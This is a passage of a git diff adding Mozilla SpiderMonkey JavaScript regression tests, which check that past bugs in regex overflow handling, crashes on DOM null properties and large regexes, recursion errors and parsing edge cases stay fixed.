+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+for (var i=0; i<2; i++) {
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-230216-1.js b/js/src/tests/non262/regress/regress-230216-1.js
new file mode 100644
index 0000000000..964adb91b4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-230216-1.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 230216;
+var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier';
+var actual = '';
+var expect = '';
+var status = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = inSection(1) + ' check for overflow in backref';
+
+actual = 'undefined';
+expect = false;
+
+try
+{
+ actual = eval('/(a)\21474836481/.test("aa")');
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
+
+status = inSection(2) + ' check for overflow in backref';
+
+actual = 'undefined';
+expect = false;
+
+try
+{
+ actual = eval('/a\21474836480/.test("")');
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
+
diff --git a/js/src/tests/non262/regress/regress-230216-2.js b/js/src/tests/non262/regress/regress-230216-2.js
new file mode 100644
index 0000000000..2c09e7e63e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-230216-2.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 230216;
+var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier';
+var actual = '';
+var expect = '';
+var status = '';
+
+DESCRIPTION = summary;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = inSection(1) + ' check for overflow in quantifier';
+
+actual = 'undefined';
+expect0 = 'no exception thrown false';
+expect1 = 'error';
+
+try
+{
+ var result = eval('/a{21474836481}/.test("a")');
+ actual = 'no exception thrown ' + result;
+ status += ' result: ' + result;
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+// The result we get depends on the regexp engine.
+if (actual != 'error')
+ reportCompare(expect0, actual, status);
+else
+ reportCompare(expect1, actual, status);
diff --git a/js/src/tests/non262/regress/regress-230216-3.js b/js/src/tests/non262/regress/regress-230216-3.js
new file mode 100644
index 0000000000..eed31cb635
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-230216-3.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 230216;
+var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier';
+var actual = '';
+var expect = '';
+var status = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = inSection(1) + ' /((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx") ';
+
+actual = 'undefined';
+expect = ['ax', 'ax', '', 'a'] + '';
+
+try
+{
+ actual = /((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx") + '';
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
+
+status = inSection(2) + ' eval(\'/((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx")\' ';
+
+actual = 'undefined';
+expect = ['ax', 'ax', '', 'a'] + '';
+
+try
+{
+ actual = eval('/((\\3|b)\\2(a)x)+/.exec("aaxabxbaxbbx")') + '';
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-233483-2.js b/js/src/tests/non262/regress/regress-233483-2.js
new file mode 100644
index 0000000000..8b6f728af3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-233483-2.js
@@ -0,0 +1,59 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 233483;
+var summary = 'Don\'t crash with null properties - Browser only';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+actual = 'Crash';
+window.onload = onLoad;
+
+function onLoad()
+{
+ var a = new Array();
+ var pe;
+ var x;
+ var s;
+
+ setform();
+
+ for (pe=document.getElementById("test"); pe; pe=pe.parentNode)
+ {
+ a[a.length] = pe;
+ }
+
+ // can't document.write since this is in after load fires
+ s = a.toString();
+
+ actual = 'No Crash';
+
+ reportCompare(expect, actual, summary);
+
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+function setform()
+{
+ var form = document.body.appendChild(document.createElement('form'));
+ var table = form.appendChild(document.createElement('table'));
+ var tbody = table.appendChild(document.createElement('tbody'));
+ var tr = tbody.appendChild(document.createElement('tr'));
+ var td = tr.appendChild(document.createElement('td'))
+ var input = td.appendChild(document.createElement('input'));
+
+ input.setAttribute('id', 'test');
+ input.setAttribute('value', '1232');
+
+}
diff --git a/js/src/tests/non262/regress/regress-233483.js b/js/src/tests/non262/regress/regress-233483.js
new file mode 100644
index 0000000000..6c4df4fea5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-233483.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 233483;
+var summary = 'Don\'t crash with null properties - Browser only';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+window.onload = onLoad;
+
+function onLoad() {
+ setform();
+ var a=new Array();
+ var forms = document.getElementsByTagName('form');
+ a[a.length]=forms[0];
+ var s=a.toString();
+
+ actual = 'No Crash';
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+
+}
+
+function setform()
+{
+ var form = document.body.appendChild(document.createElement('form'));
+ var input = form.appendChild(document.createElement('input'));
+ input.setAttribute('id', 'test');
+ input.setAttribute('value', '1232');
+
+ var result = form.toString();
+
+}
diff --git a/js/src/tests/non262/regress/regress-234389.js b/js/src/tests/non262/regress/regress-234389.js
new file mode 100644
index 0000000000..f3691b16fa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-234389.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 234389;
+var summary = 'Do not Crash when overloaded toString causes infinite recursion';
+var actual = ''
+ var expect = 'Internal Error: too much recursion';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var foo = {
+ toString: function() {
+ if (this.re.test(this)) {
+ return "";
+ }
+ return this.value;
+ },
+
+ value: "foo",
+
+ re: /bar/
+};
+
+try
+{
+ var f = foo.toString();
+ expect = 'No Crash';
+ actual = 'No Crash';
+}
+catch(ex)
+{
+ expect = 'InternalError: too much recursion';
+ actual = ex.name + ': ' + ex.message;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-238881.js b/js/src/tests/non262/regress/regress-238881.js
new file mode 100644
index 0000000000..9080092c68
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-238881.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 238881;
+var summary = 'const propagation for switch too aggressive';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+const C=42;
+function f(C,x)
+{
+ switch(x)
+ {
+ case C:
+ return 1;
+ default:
+ return 0;
+ }
+}
+
+actual = f(44,42);
+expect = 0;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-238945.js b/js/src/tests/non262/regress/regress-238945.js
new file mode 100644
index 0000000000..d33197d4d3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-238945.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 238945;
+var summary = '7.9.1 Automatic Semicolon insertion - allow token following do{}while()';
+var actual = 'error';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(){do;while(0)return}f()
+
+ actual = 'no error'
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-243174.js b/js/src/tests/non262/regress/regress-243174.js
new file mode 100644
index 0000000000..4352a9aeb0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-243174.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 243174;
+var summary = 'Don\'t Crash on Regular Expression';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var result = "-+16-+59-+66-+67-+80-+82-+143-+170-+176-+189-+308-+363-+364-+365-+377-+393-+404-+405-+419-+430-+641-+732-+754-+783-+786-+972-+977-+980-+982-+1010-+1011-+1027-+1028-+1039-+1040-+1074-+1084-+1086-+1098-+1267-+1296-+1305-+1367-+1371-+1379-+1480-+1481-+1482-+1484-+1510-+1526-+1565-+1568-+1574-+1577-+1604-+1632-+1638-+1643-+1657-+1708-+1722-+1941-+1948-+1955-+1965-+1966-+2027-+2039-+2040-+2041-+2048-+2054-+2059-+2090-+2091-+2092-+2105-+2118-+".match(eval("/\\+(3|4|7|21|47|49|53|54|56|57|58|59|60|61|62|64|67|69|72|73|74|76|78|80|84|91|95|96|99|118|120|141|142|145|147|148|149|151|152|160|164|169|170|171|173|174|175|176|181|183|185|186|188|189|190|191|193|200|201|202|204|205|207|208|209|211|214|216|221|223|226|229|230|231|233|237|239|249|250|252|255|258|260|261|267|269|270|278|280|281|290|291|293|294|295|296|297|298|299|300|301|302|303|306|307|308|309|311|313|317|319|321|322|328|329|338|342|343|345|347|349|352|359|360|364|366|367|368|370|373|376|377|378|379|380|381|384|385|386|387|388|389|390|393|394|396|397|398|399|400|402|403|416|418|419|420|423|424|425|428|429|430|432|440|442|444|445|446|448|449|629|643|646|647|649|652|658|668|680|681|682|683|684|703|706|720|722|731|733|736|737|738|741|744|745|749|752|753|754|755|763|786|803|806|807|808|812|829|831|843|844|845|846|847|848|849|851|854|855|856|858|859|860|861|863|866|867|868|869|870|871|875|876|877|878|879|881|882|883|884|885|886|888|889|890|891|892|893|894|895|896|897|898|900|901|903|904|906|908|910|911|912|913|914|915|916|918|919|921|970|971|972|973|980|986|987|988|991|998|1009|1011|1015|1016|1031|1037|1038|1039|1040|1045|1046|1051|1052|1053|1054|1057|1058|1060|1064|1069|1070|1071|1074|1075|1085|1089|1090|1091|1093|1094|1095|1096|1097|1101|1103|1107|1109|1110|1112|1115|1116|1117|1171|1172|1175|1183|1184|1233|1289|1296|1300|1307|1315|1317|1327|1367|1374|1384|1392|1393|1408|1409|1412|1428|1479|1480|1481|1482|1483|1484|1485|1486|1487|1488|1490|1491|1492|1493|1497|1510|1522|1524|1565|1566|1567|1568|1573|1574|1576|1582|1584|1586|1588|1591|1592|1593|1596|1599|1600|1604|1606|1615|1616|1617|1621|1625|1631|1632|1633|1636|1640|1643|1644|1645|1646|1648|1650|1652|1655|1656|1657|1658|1660|1661|1663|1669|1670|1671|1672|1673|1675|1676|1677|1679|1680|1683|1684|1685|1686|1687|1688|1689|1695|1697|1702|1703|1704|1705|1706|1711|1712|1713|1714|1716|1722|1725|1726|1731|1738|1744|1747|1748|1749|1750|1753|1757|1761|1762|1763|1764|1765|1766|1767|1769|1771|1772|1773|1774|1775|1776|1777|1778|1779|1780|1781|1782|1783|1784|1785|1786|1788|1789|1790|1791|1792|1793|1794|1796|1797|1798|1799|1801|1802|1803|1804|1805|1806|1807|1808|1809|1810|1811|1812|1815|1816|1817|1818|1821|1822|1823|1824|1825|1827|1828|1831|1835|1840|1844|1845|1849|1850|1852|1853|1854|1855|1856|1857|1858|1859|1860|1862|1866|1867|1874|1885|1886|1887|1890|1894|1897|1898|1903|1912|1913|1917|1923|1933|1940|1941|1944|1945|1946|1947|1948|1949|1950|1963|1964|1965|1967|1971|1972|1973|1974|1978|1983|1988|1990|1991|2001|2003|2013|2015|2020|2025|2026|2027|2029|2034|2039|2040|2041|2047|2048|2049|2050|2053|2054|2055|2057|2058|2059|2060|2061|2064|2067|2070|2073|2076|2079|2082|2085|2088|2090|2092|2093|2094|2095|2096|2098|2099|2100|2101|2102|2103|2105|2114|2119|2121|2122|2124|2128|2131|2132|21|170|177|190|191|291|982|1038|1655|1978|2090|2133|1983|783|1582|2102|6|14|53|65|66|67|68|72|85|88|95|96|97|121|126|145|148|154|160|184|188|219|220|258|267|277|289|292|295|297|304|317|318|322|332|342|343|353|354|367|373|378|381|384|398|402|418|419|425|428|438|643|662|665|673|675|705|706|803|876|973|988|1013|1015|1020|1047|1091|1171|1184|1317|1400|1401|1486|1572|1590|1591|1593|1600|1621|1632|1633|1635|1636|1638|1640|1648|1657|1958|1966|1969|1973|1983|2048|2061|2064|2067|2070|2073|2076|2079|2082|2085|2088|2091|2126|2127|2128|1063|986|16|59|66|67|80|82|143|170|176|189|308|363|364|365|377|393|404|405|419|430|641|732|754|783|786|972|977|980|982|1010|1011|1027|1028|1039|1040|1074|1084|1086|1098|1267|1296|1305|1367|1371|1379|1480|1481|1482|1484|1510|1526|1565|1568|1574|1577|1604|1632|1638|1643|1657|1708|1722|1941|1948|1955|1965|1966|2027|2039|2040|2041|2048|2054|2059|2090|2091|2092|2105|2118|1300|971|2047|2050|986|1632|2049|1184|2047)-/g"));
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-243389-n.js b/js/src/tests/non262/regress/regress-243389-n.js
new file mode 100644
index 0000000000..00c11b4c2b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-243389-n.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// test from Henrik Gemal
+var BUGNUMBER = 243389;
+var summary = 'Don\'t crash on Regular Expression';
+var actual = 'Crash';
+var expect = 'error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// this is a syntax error which will fire
+// before the framework is ready. therefore the browser based
+// version will not appear to run this test if it does not crash
+if (/(\\|/)/) {
+}
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-243869.js b/js/src/tests/non262/regress/regress-243869.js
new file mode 100644
index 0000000000..483ca2ef1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-243869.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase from Alex Vincent
+var BUGNUMBER = 243869;
+var summary = 'Rethrown custom Errors should retain file and line number';
+var actual = '';
+var expect = 'Test Location:123';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function bar()
+{
+ try
+ {
+ var f = new Error("Test Error", "Test Location", 123);
+ throw f;
+ }
+ catch(e)
+ {
+ throw e;
+ }
+}
+
+try
+{
+ bar();
+}
+catch(eb)
+{
+ actual = eb.fileName + ':' + eb.lineNumber
+ }
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-244470.js b/js/src/tests/non262/regress/regress-244470.js
new file mode 100644
index 0000000000..b85b9f8e7f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-244470.js
@@ -0,0 +1,1080 @@
+// |reftest| slow
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 244470;
+var summary = 'Don\'t Crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var g;
+for (var i=1; ; ++i) {
+
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
